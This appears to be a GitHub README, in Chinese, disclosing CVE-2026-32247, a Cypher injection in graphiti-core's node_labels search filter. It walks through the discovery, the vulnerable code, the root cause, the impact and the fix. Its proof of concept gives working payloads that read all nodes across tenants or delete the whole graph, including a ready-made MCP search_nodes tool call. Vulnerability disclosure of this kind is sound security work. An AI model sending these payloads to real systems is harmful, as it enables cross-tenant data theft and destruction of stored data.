romain-deperne/CVE-2026-32247
GitHub: romain-deperne/CVE-2026-32247
graphiti-core 因未过滤 node_labels 导致 Cypher 注入的高危漏洞(CVE-2026-32247,CVSS 8.1)的详细披露与概念验证,影响 0.28.1 及更早版本的 Neo4j 和 FalkorDB 后端。
Stars: 0 | Forks: 0
# CVE-2026-32247 — graphiti-core 中因未过滤 node_labels 导致的 Cypher 注入
**严重程度**:高危 (CVSS 8.1)
**CWE**:CWE-943 — 数据查询逻辑中特殊元素的不当中和
**受影响版本**:`graphiti-core` <= 0.28.1 (pip)
**修复版本**:0.28.2
**安全通告**:[GHSA](https://github.com/getzep/graphiti/security/advisories)
**NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-32247
## 概述
`graphiti-core` 通过将用户提供的 node label 字符串用 `|` 连接,并将其拼接到原始查询中来构建 Cypher `WHERE` 子句。攻击者可以注入任意的 Cypher 操作符,从所有租户的任意图节点中窃取数据,或者删除整个图数据库——整个处理链中没有任何参数化处理或数据验证。
## 发现过程
我当时正在系统性地扫描 [awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers) 列表中的 MCP server 仓库,重点关注那些将 LLM 代理连接到数据库后端的项目。Graphiti 引起了我的注意,因为它被定位为 AI 代理的*核心*记忆层——这是一个高价值目标。
我对图数据库的扫描模式很简单:使用 grep 搜索包含 `MATCH`、`WHERE` 或标签拼接的 f-string。`search_filters.py` 中的 `'n:' + node_labels` 这一行立刻引起了我的注意——这是一个直接进入 Cypher 查询的原始字符串拼接。该变量来自 MCP 工具处理程序中的 `entity_types`,并且完全没有进行任何验证。
让这个问题变得比标准注入更有趣的地方在于:Cypher 的 `WITH` 子句允许你跳出 `WHERE` 上下文并启动一个全新的管道。因此,`)` 关闭了括号内的标签表达式,`WITH n` 过渡到一个新的子句,而 `//` 则静默地丢弃了原始查询的其余部分。只需一个 payload,即可获得对整个图的访问权限。
我在 10 分钟内通过在一个独立的 Python 脚本中复现确切的逻辑确认了这一点,验证了 DETACH DELETE 能够删除所有节点,然后撰写了 GHSA 报告。
## 受影响的组件
**文件**:`graphiti_core/search/search_filters.py`,第 91–92 行和第 134–135 行
```
# 脆弱代码 — 源代码的精确副本
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter 随后被插值到 Cypher WHERE 子句中
```
**入口点**:`mcp_server/src/graphiti_mcp_server.py`,第 441 行
```
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
```
`entity_types` 参数从 MCP `search_nodes` 工具调用直接流入查询构建器。Neo4j 和 FalkorDB 后端均受影响。Kuzu 后端不受影响,因为它使用了参数化查询。
## 根本原因
`node_label_filter` 的值(`n:Label1|Label2`)被直接嵌入到 Cypher 查询中:
```
WHERE (n:Label1|Label2) AND ...
```
因为标签是由调用方用 `|` 连接并用括号括起来的,攻击者只需要用 `)` 关闭表达式,就可以注入新的 Cypher 子句。`//` 注释操作符会抑制原始查询的其余部分。
## 概念验证
```
# 来自 search_filters.py 第 91-92 行的精确逻辑
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# 良性
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# 窃取:读取所有组中的所有节点
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# 完整 Cypher:WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# `) 关闭了 WHERE,WITH 开启了一个新的 pipeline,// 丢弃了剩余部分
# 删除:清空整个 graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
```
**通过 MCP 工具调用:**
```
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
```
## 影响
- **数据泄露**:可以读取所有 `group_id` 命名空间中的任何节点/关系
- **数据破坏**:`DETACH DELETE` 会清空整个图
- **租户隔离绕过**:`group_id` 过滤器是在可注入的标签过滤器之后应用的——注入一个 `WITH` 子句可以完全绕过它
- Graphiti 在多个 AI 代理框架中被用作记忆层;MCP 接口使得任何连接的代理都可以远程利用此漏洞
## 修复
补丁版本在插值之前会根据允许的字母数字字符列表验证 node 标签,并且全文搜索路径对 `group_id` 值使用了参数化查询。
## 时间线
- **发现时间**:2026-03-xx
- **报告时间**:GHSA 私密安全通告
- **补丁发布**:graphiti-core 0.28.2
- **CVE 发布**:CVE-2026-32247
标签:AI智能体, CISA项目, CVE-2026-32247, CVSS 8.1, CWE-943, Cypher注入, DLL 劫持, getzep/graphiti, GHSA, graphiti-core, MCP Server, Neo4j, NVD, Python, SQL/NoSQL注入, Web报告查看器, 大语言模型, 提示注入, 无后门, 漏洞分析, 网络安全, 越权访问, 路径探测, 逆向工具, 隐私保护, 集群管理